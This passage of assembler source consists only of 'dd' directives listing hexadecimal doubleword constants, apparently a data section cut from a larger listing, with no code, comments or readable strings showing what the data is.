4728FD0Ah, 41631E2Eh, 3EE618DFh dd 0F135604Bh, 302B2141h, 0D595314Eh, 489C124Bh, 0F59D2F2Bh dd 336914E4h, 0FC55A540h, 23CD6BABh, 0F0F3001Ah, 5CE57ABAh dd 0B6B75A4Ah, 9BAC4B4Dh, 0A9D0DD01h, 467D8C7Bh, 0B100FD03h dd 5BB6096h, 3E728417h, 0E797BA66h, 0E8630461h, 42444013h dd 16DBD4E5h, 0FC8C7DA2h, 5950E0E6h, 0A2604F5Fh, 28971ED5h dd 61453107h, 88AC9615h, 0FAEE2125h, 0B138B895h, 1591871Bh dd 0A951BF01h, 6B965FE0h, 61EC0716h, 425ADE1Eh, 15F19509h dd 526034B0h, 9C9E61E4h, 5B65C91Dh, 181459CAh, 0A9A8A0FFh dd 9537AC13h, 4E3E6CD3h, 9A6AC8F5h, 0C019C892h, 49EA5320h dd 0CAA9B030h, 955B52D8h, 1345DD94h, 56FB9102h, 0CB0469D4h dd 0A8CCAA51h, 0C39E95F5h, 9823595h, 5159836Dh, 4C715100h dd 18FDDC8h, 0B1F8BD0h, 6A9D635Fh, 5B86ABCAh, 0F975E253h dd 0F476E90Bh, 7822FBFFh, 0DA0496EAh, 0C18BBB74h, 0E2C74CDBh dd 23DED09Ah, 281299B5h, 32E3D462h, 95DAB540h, 17590773h dd 6F01B518h, 9D0989F4h, 0B77B2D7Dh, 105A4834h, 0E84F1349h dd 0F8DEC0C7h, 446C620h, 3C40226Dh, 0D1C88C50h, 4BDBB05h dd 9BEA9020h, 0C1BD9747h, 1FD93B80h, 7124BD29h, 0C96AA22Bh dd 4E495AA7h, 8526EC95h, 21ABCD9Dh, 58062C1h, 32D18F06h dd 4A5DFA25h, 92F5AD2Fh, 0D0A009A6h, 0B32776C6h, 5F438945h dd 0BF9ECCACh, 5B744413h, 71E93CC7h, 0E7E9003Eh, 6016DEAAh dd 98F61F00h, 0C151F825h, 774A09D3h, 90556EBEh, 7EA45E42h dd 285B1C09h, 52204444h, 7909FB23h, 708A5B90h, 1171038h dd 59C2D58Dh, 60EFFC6Ah, 3A48DCC9h, 0F4A03400h, 948A9118h dd 534000DFh, 22E85F0Ah, 6A4A866Dh, 0A7C064DBh, 3C607D6Eh dd 8E80F309h, 1BB1D5D3h, 0F56F1011h, 0D0090035h, 8C6D2025h dd 5DF0780Fh, 0C5259BF8h, 9D10CE87h, 0CD447DEDh, 1F25C9B8h dd 0B59F0FC6h, 0DD5C2550h, 0F9C1FF42h, 0ECA9001Ah, 6A3ADEA6h dd 695B51BFh, 4C441259h, 4B16FF52h, 2ACF2DFEh, 5DFC80C2h dd 0BD5CF3C2h, 0EE5525F6h, 0D116373h, 920CAC00h, 0FA59CEDEh dd 7711F100h, 0E99983CFh, 64C79512h, 55806C0Bh, 9C3930BDh dd 2209E068h, 70407B55h, 1F047020h, 18AE4386h, 0B6D3D9ACh dd 946DE060h, 122900A8h, 0DD428C2Ah, 6094ABBh, 0D5507E13h dd 0F8E2C999h, 8003BED1h, 867A65A3h, 0A7619F30h, 566EF12Fh dd 80D49B9Fh, 280C2241h, 3F1F129Fh, 0C4D3B963h, 5649088Ah dd 29616D82h, 9BAB5F04h, 0C01788B8h, 145C9FEFh, 5D1E1A97h dd 73A1E590h, 0E6758101h, 11F2349Ch, 0AA8CC8h, 0FD2CC835h dd 0FF6AF9F8h, 29BC19A8h, 0C0519E73h, 0D083CDD1h, 0AF02B4B6h dd 4BB1CF15h, 0C170C246h, 0F6290573h, 18D19D09h, 0F951AB5Ch dd 0AD87252Bh, 48B038FEh, 0E457C7C0h, 36562B0h, 216B137Eh dd 0C531FA67h, 0A37670E6h, 0F982B05Ah, 0E45B5909h, 0FEE58271h dd 91025CDEh, 62F925C0h, 0F974FDh, 0F275F781h, 7395594Eh dd 0EF80047Ch, 8B27AEADh, 29E0D672h, 0DE72F750h, 0FBBFD101h dd 0E9434029h, 2F7BB32Bh, 1D916058h, 4599D2Ah, 3915AFACh dd 24B15B8Ah, 0AB62FFEh, 38171F96h, 20E8D24Ah, 25F8B42Ch dd 0E3DB5AE9h, 2F1381BCh, 0AC9B96CDh, 0D8CBB440h, 0F60A05F8h dd 17881DDDh, 7134AACEh, 1F89BD05h, 2E1D0604h, 2788F5ADh dd 85C7D3ADh, 9A583DFh, 0A2E6FE24h, 79A295ECh, 4A9D040h dd 806C5B5h, 374BF73Ch, 913980B6h, 47C250B9h, 0B5A0FB09h dd 27A65818h, 0FB545A71h, 2453B5EBh, 0A2B90565h, 22A9E907h dd 0E9B32502h, 6DD507C2h, 2A2CC1BEh, 39B36A86h, 194A1503h dd 0C2024865h, 5B2F36C3h, 0DC9C56FCh, 122C7AB5h, 4E6D9D33h dd 0FD16B82Eh, 7C2EC8Dh, 33DC1A8Ch, 2B899175h, 0DEE62AD2h dd 0FCF771F0h, 235298BDh, 30E525BDh, 666BB173h, 0F52CA213h dd 0B1572429h, 0F1098F2Dh, 0AC30448Ch, 0D9608B45h, 270600F3h dd 3E2FEEEBh, 0B29E0700h, 4E4084BBh, 0D23148B4h, 5E621220h dd 0FD0C3570h, 18DD3090h, 1AD38B7h, 70F19F9Dh, 9582782Dh dd 17E47C6Dh, 0CA09CF60h, 0B8AC935Fh, 0D617FED3h, 1B98B21h dd 62762F2Eh, 7F333DD0h, 754B016Fh, 975664B2h, 9145A51h dd 0D8C20196h, 0B50EBFD5h, 3316FEBEh, 1D20EADh, 0FF8296B7h dd 0B92629E1h, 12BD1630h, 0B979992Fh, 0C4BFA456h, 0A2A6AC31h dd 89B51A94h, 0B3012B82h, 3DE6665Eh, 0A4803AD9h, 9D641B84h dd 85007A5Ah, 0BCB0F6E7h dd 9BBAE92h, 47D0DC20h, 1746B071h, 0BE6D9D8Fh, 0C82B32C3h dd 13D24058h, 4C48F71h, 0B2EE1EFh, 0BBB05760h, 334B81BBh dd 0C6B6B185h, 0F6FE36E0h, 1F11A916h, 0C00E4E2h, 7F3D16A5h dd 3F046596h, 5BFCF1E9h, 0EE56E3B8h, 0E8CDD74Ah, 0D48B5C6Bh dd 0F99E9412h, 0DA4BCDE7h, 0ABAF808Fh, 2588BE09h, 6EC49174h dd 1453F02h, 5C9BCB05h, 1FE6BBFh, 0F20D00DCh, 0EC3974D0h dd 8C90F616h, 972A5920h, 4D91960h, 6F065695h, 9328407Fh dd 5C26A84Bh, 0D7C1ED03h, 9020C4BBh, 59615E14h, 5F3AEF50h dd 427E51A5h, 0A155AEBh, 13859D09h, 2F291E60h, 68016D7Ah dd 615945E0h, 0CC2A6051h, 0BE1F665Fh, 5F52EE7Bh, 1F8607AEh dd 0B02F1846h, 871AD5ECh, 405B4D2Fh, 7AE3388Ah, 0C60F9425h dd 0E84297h, 565F9860h, 1C9BD1Eh, 9BD78A12h, 307475FFh dd 44A09B1h, 0DB010FB7h, 9C3D35C1h, 4878ECD5h, 120F4600h dd 0DF814C40h, 0DFB015Eh, 0C7E95F58h, 0D9607A01h, 3171F47h dd 0D586D9E0h, 0DE88F1DAh, 1544858Bh, 7332ED09h, 0DA253948h dd 0E06FA9C2h, 69E1F8C1h, 28ECA8C8h, 20DA7497h, 0F94B0F3Dh dd 9560AB8Ch, 8722E5F2h, 0E0FC5A01h, 65EE143h, 54E8A0EDh dd 0D0E92C00h, 42497C45h, 0B5F7A1F8h, 0EF895599h, 1C326FBh dd 800AD781h, 172E4C87h, 6F935C0h, 4105B17Ch, 43A9855Ah dd 0DE8A9600h, 6FF3BB50h, 9203223Ch, 9BE1F98Bh, 0A9A49C7Fh dd 85BABD00h, 0B61F2027h, 0C29501F1h, 4AFBE19Ah, 89292EFCh dd 741011E5h, 2A009AC5h, 0B65E68C4h, 1880AA2h, 15870D80h dd 7850F377h, 3C84512Bh, 677F80C5h, 0B5DA42A3h, 67738EAh dd 4305036h, 0A3770BBFh, 2B9F891Bh, 8E43B85Fh, 0CF73A7C6h dd 0D5C9E10Eh, 0A67A2DD4h, 95A65FDDh, 0A033B9A0h, 7DCE1297h dd 0F783DD37h, 0D83C3B21h, 505FB17Bh, 41DDF2C9h, 93376E0Dh dd 0B147D8C7h, 2F7FB4Eh, 4585BFECh, 627D08B4h, 0DCC9D472h dd 0CDE04B09h, 0CE6E5C31h, 42322DC4h, 0D03DBD29h, 716F95A2h dd 87611D64h, 354ECCA7h, 80261404h, 168C157Bh, 84322E1Fh dd 0DE700031h, 4ECDD7DCh, 0C45ADF02h, 84CE7398h, 7D92B196h dd 51135C5Fh, 0E0A0772Ah, 4EF78064h, 943BB803h, 12E338AFh dd 0F8E37409h, 76DA4BBAh, 9F80BD8Fh, 5C23F73Eh, 9B4079BCh dd 0E0E43A6h, 0B9BD03DEh, 0C71F476h, 0E28AC64Bh, 4A045610h dd 3104F8B3h, 0AF0BA19Dh, 952F5E39h, 0ACC9F942h, 533C8C18h dd 62018084h, 712F6BFh, 3BE49D24h, 0B0F55000h, 3B38F2A5h dd 2702B85Bh, 355C0325h, 5D20E9EAh, 0B5F87907h, 0C4EB97E0h dd 9F40022h, 0D245C6F1h, 0DC3F3984h, 0B4948E18h, 0F844C025h dd 5A35F156h, 4F3EB35Bh, 34F0F2B6h, 98076D74h, 0D1A80CA2h dd 5CEEB29Bh, 8B826935h, 960512F9h, 6D8E24B8h, 6788F723h dd 3FE7A8F1h, 1A34330h, 2AAA00FBh, 0C0341AF4h, 130228E0h dd 0B1244735h, 9BB75D32h, 0A1CD2C8Eh, 0E0281797h, 51809268h dd 84AFBDBCh, 0B700C47Ah, 18A385FEh, 1246A0D6h, 0E630D117h dd 321DB202h, 0DE3B480h, 0C5090EB8h, 827BDD9Ch, 42AAD1Eh dd 87EBE853h, 0D0C0ED90h, 4B120319h, 415ECD5Fh, 3F20DD7Bh dd 1E00F9A6h, 7222373Dh, 4D7E3630h, 0F601D32Bh, 6427CD25h dd 3C75601Dh, 0B6BB8B6h, 0D129D9CDh, 28A0003h, 9E80274Fh dd 3C051BE7h, 0F925096Dh, 46D6775Ch, 0B2C04E19h, 9DD6D36Dh dd 9D7653CCh, 132E0141h, 0E01DF60Ah, 29638A7h, 163B9318h dd 285ED37Bh, 0CEB2CD27h, 97508E09h, 8BE6F94Ah, 0F2DFB712h dd 16AF00C5h, 0C39EE607h, 44D80337h, 22DA0CF4h, 0FA2841B8h dd 0D8D15A27h, 88D2046h, 5ACC5B4Bh, 4219F809h, 13814822h dd 30306EC8h, 9F20A8Ch, 0A7F4DD17h, 5F133AFCh, 23976BAEh dd 9330118h, 2BB02BB6h, 39B06034h, 0CECEBF01h, 0ED852913h dd 861A8BEDh, 0E0753101h, 2E6B6366h, 4BA27779h, 12923E02h dd 1013BDE9h, 86F9A4h, 399396F5h, 9065B101h, 0C342600h dd 0E8080B9Ah, 43FB835h, 5953196h, 998ED04h, 79F22EE7h dd 0D90154E2h, 2BF620C8h, 0DD20B070h, 0E666D225h, 0E99C4A76h dd 2B244125h, 970570B0h, 656B829Ch, 0C377D30h, 7594EAADh dd 0AFA51908h, 0E46D2D90h, 0F72E6900h, 97B38893h, 9E661265h dd 0E8549443h, 78DB5FDDh, 0BABE1285h, 15F0A758h, 9BB8970Dh dd 85323156h, 5E5FFF61h, 69D869D1h, 9E80727h, 89227B63h dd 1D160B8Dh, 333136A0h, 118AC7B5h, 0E5204B4Dh, 0FCF21241h dd 0AD324A0Eh, 95848EEAh, 22BD8017h, 2D3A53F0h, 896FC68Dh dd 578C1540h, 1386126Fh, 8589BADBh, 95CC2D2Eh, 79F3920h dd 0FFF319E9h, 0D37C981Bh, 0DFE4056Bh, 0AEC18B10h, 0EF95271h dd 93C8B22Ah, 8B506607h, 0C103E239h, 2735957Ch, 0A0A2B72Eh dd 26623393h, 64FD830Fh, 7942C8DEh, 45864F61h, 6F3A0F90h dd 3E510088h, 3329DB31h, 8BBB1966h, 2FDAD00Fh, 1AA62116h dd 6E7CF4E0h, 2A0A9BFEh, 8C50FC7Bh, 8B6335A4h, 0D1F0D74Dh dd 70D736Dh, 3F244548h, 0B19E301Eh, 354EC364h, 0FBE8D3ADh dd 7296B201h, 8F4FD11Ch, 322EC2DDh, 64772B3Ch, 4A22986Ch dd 0CB25DB6Ah, 601D84DCh, 0F8CBF6B8h, 0AD02B555h, 0EA4523B0h dd 84742B39h, 8B0FA8C4h, 40E978D8h, 0D15BFF0Eh, 0F516D5A7h dd 0E257B803h, 615E1A6Dh, 35C500D4h, 0C85101D9h, 0EF134B28h dd 89C2F51Bh, 8F0A606Ah, 0C448411h, 41A200F7h, 559E36Dh dd 2E090ED3h, 449069CEh, 6827000Dh, 0FAC6FCCBh, 1A00F848h dd 0D4A2D0B0h, 2D69CC6Eh, 0AFC8D8E6h, 66E78A90h, 10893B7Dh dd 0E91204A5h, 85E3E3A4h, 9EAB904Fh, 29618197h, 0BB549DB5h dd 30207CF8h, 2EDB97A1h, 6AFACB74h, 62A732AAh, 0C2502465h dd 0F22E173Dh, 0A809FECh, 0B04A92E0h, 0E1A048h, 74D74DC1h dd 4B41BDE6h, 0DBCB945Bh, 0CB22C3BFh, 4FEAF02Eh, 6A35818Eh dd 6BD20BB3h, 2FFE3C69h, 62F97640h, 0E85C9CB3h, 326E02C9h dd 0A23AD724h, 0EF4039EDh, 67A6978h, 0E2E81FB2h, 54A7A23h dd 6F490FE2h, 5101F0BCh, 0FD232689h, 0DC455015h, 0FC910725h dd 0BB621AA9h, 0D416F30Bh, 0B80E4CA4h, 120A1F6h, 7E38000h dd 2045AB5h, 0CF48D381h, 0D85C5EFEh, 4610F088h, 23583705h dd 8213204Ah, 0A56AFCD7h, 0FD31E361h, 0BA55E68Dh, 0B14C57E0h dd 41212532h, 611FFCC1h, 0A54DBD09h, 60F561B5h, 0ECCA126Bh dd 0D66189D1h, 80CBBD4Ch, 7D8D29FFh, 52259C96h, 846970FCh dd 0DB99BB17h, 18E94C04h, 7F24DDBBh, 0B90068E2h, 0F60676B3h dd 27CE281h, 0B5DF6AC2h, 392EE120h, 0B231B796h, 23874B42h dd 26C58D91h, 0BF000947h, 97603F3Dh, 89271A94h, 2DB57AB5h dd 0CD735AE9h, 14C3F580h, 0FEE5F044h, 0EF713532h, 7FDCF534h dd 80289DF2h, 111197DAh, 10BB1033h, 22F03FB6h, 5F17A528h dd 1BE920FEh, 720E76F7h, 407D653Ch, 9D23E094h, 0B8024EA1h dd 40799027h, 0C512A4B8h, 1DF64F18h, 0BDEFDB28h, 0FE4BF6ABh dd 9AD4A5E2h, 783853A5h, 0A506573h, 42096ADFh, 79F9779Ch dd 0BD898524h, 0B9CFA0B5h, 7308E625h, 593601A6h, 0E45A8252h dd 1F0729EFh, 0EE012DBBh, 9F1878B9h, 2395637h, 6DDC5C67h dd 0DC10DEFCh, 0A4824796h, 60E9E8ACh, 282BD9E8h, 4AA289C0h dd 0D605B829h, 0BCA095E6h, 0D262C78h, 350914FBh, 69E5730Fh dd 101726F6h, 73E819B9h, 7A9F9D0Bh, 200C9451h, 5B4B3319h dd 9DF5FA88h, 385ADF5Bh dd 18DFD1C2h, 66594367h, 47990929h, 0C4E912h, 0C813DAAAh dd 0BD66C01Ah, 0D97887C1h, 8589AB04h, 0EAB81B91h, 7F8D2ABDh dd 1782E7D4h, 0B63D4AF5h, 6613E117h, 0B1E9EA93h, 0F1282BCDh dd 82D58A7Ah, 2C2F555Dh, 2A4B590Eh, 581F998h, 0A9CA6BDBh dd 422AAE4Eh, 8089B68Eh, 96079FCh, 0B616ADB5h, 74B682E0h dd 353E1FFh, 93C670h, 0BFD99B29h, 31ED8C8Bh, 8D256D90h dd 0C4BA7106h, 0BB664178h, 282FD85Ah, 11A88212h, 14979599h dd 603B44DCh, 0C1566D9Fh, 43FD60C4h, 0BFECB9C0h, 9EEC7161h dd 0E7115A20h, 0AAB16430h, 8A515DECh, 5B4352Fh, 0AA4F102Dh dd 8D8910D1h, 0ADCE946Bh, 0BD6122CBh, 0E216C84h, 55312960h dd 61F94848h, 0B8982AE3h, 0EF71281h, 2496E368h, 18104201h dd 0C890F513h, 0E600C44Ch, 0EB80364Dh, 0B4725C1h, 0AF2B2354h dd 0AEC81FDDh, 8130C589h, 6807854Ah, 0CD43C48Dh, 0FFA50AACh dd 0C924F384h, 0F18017ACh, 1458D0E6h, 0E4E2DB00h, 1716CF4h dd 0B7E012B9h, 7D991A0Ah, 0C2001D59h, 456E7F85h, 677FCAh dd 3062EC25h, 8F4756C6h, 2C013A0Eh, 30C8128Bh, 0FF7700C1h dd 0CCF8AA31h, 0D11F9653h, 11011FA1h, 4781D567h, 9C48AB22h dd 9028C11h, 745F6160h, 39A53881h, 0D39DBCCEh, 5B75044h dd 0D23AE148h, 0DE3EBEB1h, 4BB6C075h, 2E2AEADh, 0EF5D2B79h dd 0C4F5093Dh, 449B4B2h, 0AB01CEE9h, 0AD9377DEh, 5EB9294h dd 0AA0BC9A3h, 437D4BDDh, 0DC005FB8h, 0F333B286h, 1211BBC9h dd 0E33D1827h, 0CAFC25EFh, 994FD7C6h, 33F9C640h, 284930BDh dd 7E59DBBh, 92B66AEDh, 0ACB2B737h, 5699292Ch, 119D951Dh dd 879D4EBEh, 12C4450Fh, 0B920BA3Ah, 95F6B2h, 0CFBC3BA1h dd 0C14A6DFEh, 0ECB11605h, 0E804A84Eh, 5B090195h, 970E9844h dd 56837EEBh, 2E1329EBh, 60510A05h, 5A568981h, 0EE966620h dd 1DA79CFBh, 0D781C0F8h, 5E036FFCh, 662F1BB3h, 0E099776h dd 0F69AF4h, 5F1D4AB1h, 0ECA7CA85h, 0B078E460h, 402B8DAh dd 4ACB7F68h, 0A3F48CE7h, 0CAD25B00h, 75A6B58Eh, 64CD00E5h dd 270E6A1Fh, 3A256563h, 422D0AFh, 18D43880h, 0D0D3B8F9h dd 0C00D3FEEh, 374F9890h, 57FAA488h, 0B7F7992Ah, 800E8A4Bh dd 0C99D0BAAh, 0D86170A4h, 8D12090Ch, 60EA3169h, 51BCC52Dh dd 0E8803D00h, 68D90A7Dh, 1A5721Dh, 0DF8A140h, 3A617C6Fh dd 2F00206Eh, 0CF6F56BEh, 2B2716EBh, 48F42D0h, 79AE6DE3h dd 0BA6A3ED7h, 0CA901905h, 18A504C4h, 0A3EEAC8Ah, 0DEAE8463h dd 8BB282DCh, 0C359FAh, 1688801Dh, 0E00FC55Ah, 0EB688E87h dd 0F6317E4Ch, 440DB527h, 9FD89D74h, 63C9AC00h, 0BB864767h dd 0C3B80908h, 796B29h, 77DE25DDh, 0FFEA00D4h, 66C989CAh dd 1786880Fh, 0F90D198Dh, 65E852h, 0C5E47935h, 1DCF310Ah dd 0E8F38102h, 5E69BA93h, 52D45321h, 0A356EAAh, 0B710EFBAh dd 0A8132D01h, 8B2ECA3Eh, 0D3042F18h, 583ED0D8h, 9D33C204h dd 0F6952315h, 0BC57AA16h, 1CC87EDAh, 0A50359C7h, 60EDB002h dd 0B309164Ch, 0ACADB94Ah, 1C388C1Ah, 9208BEE7h, 4DF1C750h dd 0B083E73Fh, 12896F49h, 0BC1F719Dh, 7E9B57Bh, 161F09A8h dd 0E4C02029h, 9589D48Dh, 0DCACAA7Dh, 81F04006h, 3B2F7554h dd 0B7E97857h, 19240B79h, 0F1310F09h, 72F3AD82h, 73C189AFh dd 0D13F702Ch, 0FB3CA800h, 391C5A47h, 0EC314B84h, 6CC897A1h dd 668802F0h, 0F8A81C9Bh, 91B4B5D7h, 383D801Dh, 5A6C07ECh dd 603EB57Ah, 144EC508h, 89C2F4B9h, 164AC18Dh, 91CEB5D5h dd 4D608018h, 98645880h, 0AD1F25F5h, 0D07E6FEAh, 0BF9700F4h dd 0FC872E79h, 0A7902062h, 0E8312920h, 8D52595h, 1479857Bh dd 32B88018h, 8E286A3Eh, 0EBBB6638h, 86B57549h, 88E24FA6h dd 0BC7E189h, 2EDD892Fh, 7DA98D13h, 9D2FB2B8h, 1FEE6448h dd 82BAE428h, 0A3A4A869h, 0D0F1DFC0h, 92C93D16h, 915127BDh dd 3ADBF53Bh, 1CB200E6h, 8A5EC032h, 136BB8BEh, 0AEFB5EE7h dd 0BD03FB70h, 0E2084AC9h, 498488D6h, 21D4045Fh, 8AC44EBDh dd 0DED48CF9h, 0DF0A2483h, 4474E9CBh, 6B20DD6h, 2E4E340Ah dd 1080BA2Ah, 0F3795A92h, 0E2251890h, 0B13BE678h, 0E8F980E7h dd 0CAD46E0Ch, 974BF000h, 0C3368ECDh, 0B1FF58CFh, 0F2F96512h dd 0A0328841h, 0DA24FDB4h, 0E3529D96h, 0B7ECC4DDh, 54D01CDEh dd 0E760540Ah, 87FAA415h, 22E71D97h, 0B30C1097h, 5E14A687h dd 253BFCD9h, 8FB97B32h, 0F212EB80h, 887A8804h, 6F8010E8h dd 420937FAh, 0CB6B0038h, 678D4911h, 0AD2FF841h, 0CC78DB6Dh dd 2941C5ACh, 652F5FE9h, 0EF30FA25h, 0BD1A99B5h, 550030CCh dd 241D61C6h, 255EDC97h, 2FE2D5C2h, 0ED70D85Bh, 0D44A001Eh dd 43BFE176h, 9E48D780h, 0CE783D0Fh, 0D8F320B8h, 1365C671h dd 12AEC59Fh, 9116F9Dh, 59F63B33h, 0C473A5FCh, 996DD0h dd 0F5589730h, 5D86E28h, 0A8D574Ah, 16816888h, 0C9BD5B12h dd 80B1DAD6h, 0EDC9EEBDh, 0A98F018Ch, 0C0E38088h, 0F7944260h dd 0D909A062h, 0F6BE1272h, 0EFAE1CDCh, 197B4184h, 6E9FA494h dd 0DB2E7EC9h, 0FB7F80EAh, 8808E8B8h, 5C01CF0Ah, 5D6A7A4h dd 0CE081DAh, 3EC01344h, 6A674B5Bh, 21003B46h, 0AF6EC901h dd 0E520E6Fh, 25BE1C91h, 7CCBE8C0h, 0AFA0C497h, 0DBBEA11Ah dd 2E319D04h, 2E07FAFh, 5E89394Bh, 0E6F15765h, 51AFBD93h dd 1DA8B6CBh, 0AB97008Ch, 2DA4B251h, 0E705872Fh, 79BD2968h dd 0EB907CE8h, 384FD825h, 74218640h, 0B4739D58h, 4AED4DADh dd 0BDDE9231h, 8C15ACAAh, 0B0A8B92Eh, 0FFDBE82Fh, 0E4014CD1h dd 0B8E72125h, 60018A11h, 0C1536EBEh, 1483F028h, 0B6E085B6h dd 3846ABh, 4E5D582Fh, 577D4FAFh, 5EFF1609h, 0B07861h dd 8A90F8BFh, 59BB50DAh, 72ACA31Eh, 6D58686Bh, 24605CDDh dd 9819C112h, 0F002BE62h, 3408579Fh, 2ED7561h, 0B1601C64h dd 8A00DFFEh, 0B23FE872h, 0B517E992h, 240892C7h, 0A96012A1h dd 4087885Ah, 0ECC78161h, 4320F516h, 9D8662B9h, 905BABADh dd 602FA3B9h, 42E5861h, 11570C1h, 6C5E6102h, 0F0015325h dd 4607EB5Fh, 6E100678h, 2EFC7099h, 0B89A86Fh, 94571AADh dd 0EABC8314h, 0B0CE7529h, 81526000h, 8E42F7CEh, 14584F7Bh dd 0FF2F02E5h, 7870CDD3h, 0F0464A20h, 9588013Eh, 0C8224211h dd 16AFA6EDh, 0B08DC2D5h, 0A6608A5Ch, 7AF72625h, 0CBFEA1Bh dd 70E690E7h, 234139ECh, 41513720h, 65A47A18h, 0B06021F7h dd 4B34B914h, 0A77A1089h, 2A333F5Bh, 79989289h, 0A1EB8102h dd 577ECCE2h, 67BF3EA1h, 3E192FCBh, 83803D4Ch, 6051C82Bh dd 784887B9h, 26612E97h, 0E9F5D105h, 35BD3142h, 91852227h dd 0B584685Ch, 2BBC059Dh, 88EF8180h, 4B44CE76h, 4D59BD8Ah dd 600FAD29h, 0BBA32080h, 0BE622F0h, 43E96177h, 146DAD19h dd 46FE2AFh, 39850960h, 0E7812CD0h, 9F5409F4h, 28796178h dd 0FC5A2011h, 0A5D4DF05h, 70FE2D23h, 57628028h, 66C60BBBh dd 38576133h, 600B1532h, 0BFD76C0Fh, 0A5AB0FEh, 46C314E0h dd 9D2B09A6h, 0B910A165h, 0F503071Fh, 72FC983Ah, 5BEFEEA0h dd 97DD9F4Fh, 0C0C691FEh, 7506E3Fh, 848F31CAh, 0BD239CD0h dd 3F2EF1D5h, 1923C8h, 0AD5F7540h, 0BB043E7Ah, 3B882969h dd 328D1D81h, 0D764E72Ah, 7A809C9Ah, 0D407E453h, 6281BD48h dd 0E13596Ah, 163A13F2h, 82C9ADFAh, 0FD812D4Eh, 0F7034FEEh dd 0CC362178h, 0EFB98C61h dd 0AE0E15C5h, 6A3E2D29h, 0C7FA0B68h, 9A0AF851h, 113597E3h dd 9891491h, 0CB3E7D74h, 19C807DBh, 908766C9h, 795995F1h dd 40B5557Ah, 4D3A1302h, 0E3724042h, 0DBEB5BF7h, 376780AFh dd 4B18CA6Ch, 2518CA97h, 52987454h, 21374CF5h, 0E4932F9h dd 9416C0A9h, 0ADE1FF49h, 1A7FE9A6h, 4BF1576Bh, 3BA6DE96h dd 0AE6DBD13h, 0D7D9033Ch, 0BB66F76h, 0C4B3D5C9h, 7CD00FC7h dd 0AEC085AAh, 5BD27244h, 56AD4304h, 20BCBD5Ch, 7F03B5A1h dd 0B44E4D7Ah, 0EB09AE47h, 9D34A47h, 173604CAh, 38BB5600h dd 4F25C9F6h, 194EE55Bh, 2FFC7140h, 0F4E16082h, 0B9544B9Dh dd 5C25C2A5h, 9B12DC5Eh, 0A104C62Ch, 5709234Dh, 805B6A40h dd 0E2E9C725h, 7084F332h, 2B73FCBDh, 0E6090125h, 0DED35F4Fh dd 0BBD3C0A8h, 4A28C53Fh, 0EB96D511h, 2F803F9Eh, 0A95FD18Ch dd 0F5ADF54Eh, 0ED50F989h, 3D190122h, 290A95E9h, 0A7C499BDh dd 9DCD0D62h, 0F208A5E0h, 75BD1089h, 0FF68070Fh, 5C69777Dh dd 7E3D38D5h, 0DCED9C7Dh, 5C514225h, 3522C995h, 6CF59ED8h dd 0E8780212h, 7AE94975h, 8100E45Ch, 0D0B48F3h, 0C5BBD34h dd 5D59D05h, 88805DF9h, 0AEDC071Ch, 0CD3AC374h, 0C25725FEh dd 0D8A4FBB0h, 1A97A1F4h, 998977CCh, 899EA659h, 0C9366DE7h dd 9C10FDCh, 3702DC6h, 0AC125EB5h, 0DCA5B32Fh, 0A1F8BF33h dd 0A5A06CD6h, 0B7B40531h, 343BB82h, 0B9AE5550h, 87BA5720h dd 593C9967h, 3796AF5Fh, 408120Eh, 0B89E3C42h, 34E94F9Ah dd 0F22490ECh, 41086556h, 685B0913h, 246A1401h, 7A3A3C51h dd 2E704492h, 6BB6755Eh, 0A6B020F0h, 569E1A27h, 1546D66Ch dd 0B2AC7913h, 739700AFh, 0D6E7A5BFh, 91BD1901h, 2F90CD0Fh dd 0CEBB4500h, 0F323C646h, 4B7DB520h, 4072A70Bh, 632E67DAh dd 0DE6B61h, 0DE5AB9ABh, 948848BFh, 0D89F2150h, 788A1697h dd 4A3873BFh, 2620CA3Fh, 3EFC8B4Ah, 9770E95Ah, 7B42C66Fh dd 69A38234h, 7599FA0Eh, 8959B5ADh, 27F120DDh, 0C2CC06D5h dd 5A524100h, 3B68BB9h, 2A9229Dh, 7F40D694h, 25F2645Ah dd 1FC5E3E1h, 5425DF1Dh, 66E6F40Ah, 0F9F88B29h, 954BB366h dd 0E600AB44h, 585681E2h, 95B440EAh, 1B6460CDh, 0EB1DFE60h dd 89830C3Fh, 257D2B1h, 290389FBh, 7E970158h, 0B928F44Fh dd 7125BD18h, 0AD0E6506h, 9D4D3DCh, 43471AB9h, 0B4A4FE59h dd 8B1B5508h, 77D65360h, 0C5EB5F64h, 5E9DF8F8h, 1785B9C8h dd 0EEA89935h, 7753EA09h, 4C98E710h, 0AACCA100h, 0BF8502F5h dd 42F71387h, 0A41F85Fh, 24820F96h, 0ECFABB01h, 6B2B2F60h dd 251923BAh, 69A69D59h, 596C5BADh, 2FE81816h, 9C58E737h dd 0B50B5499h, 2DB754A1h, 1C59755Bh, 0B800CA18h, 0E30BF395h dd 0BD1299DFh, 3EB9C390h, 0BF0782EEh, 0B665E7FAh, 55508E52h dd 8442B86Ch, 7B18C15Fh, 0C4302B3Fh, 26958B60h, 41CA0F6Dh dd 7E61823Eh, 80A830A2h, 8EB88D09h, 81B4183Bh, 0EF074A25h dd 0B2A0D052h, 0A3749503h, 5D205042h, 2B01E7C7h, 2E09A5Bh dd 9C2AFCh, 7BA4C058h, 0DAF57279h, 85549109h, 4BB5D5D1h dd 0A1801491h, 0DCDBD31h, 9F78CEB5h, 4B3CC390h, 209FE300h dd 5AFFFA67h, 28AC18E4h, 860F74BFh, 0B20953h, 1C21B8C2h dd 0B561303Ch, 350D7E5h, 0CDEA16AFh, 9D13AEA3h, 9AEAEBC5h dd 1BB6D2B7h, 0BD49E100h, 0C2FFB29Ah, 7FE06C4Ah, 20964BDFh dd 83B52DE6h, 9F9C7F00h, 4D75D63h, 4175F2h, 5150343Dh dd 965B83B7h, 0EDD2ABE8h, 0E9EC9BBDh, 0F84D6800h, 7D66C229h dd 8807F2A8h, 31042C7Ch, 81A549F9h, 5D3EDACh, 0AE291DAAh dd 2D019E78h, 86002D95h, 48BABF50h, 9FE56BE9h, 4B35B020h dd 3C919D04h, 734A1290h, 0E723BDB6h, 0ABFBBF07h, 0DEEA2F84h dd 0EF3D2545h, 3AF0678Ah, 38A124BAh, 7EADCDCAh, 0F33F93F1h dd 0A5CD4BB6h, 6A72C287h, 0BD55191Bh, 80D6A33Ah, 0BF71625Fh dd 0AC7128D3h, 89E9D016h, 805E55B8h, 8BEA8AF7h, 0D70EC161h dd 342BE6B7h, 7EED3048h, 0BE052B04h, 5065B8BAh, 2F17BFEh dd 0C4D614A5h, 0B8885594h, 0F407DC6Fh, 931DCE0h, 880D3351h dd 0B80F168h, 0F8D4A4FBh, 0C03F4600h, 92B06C45h, 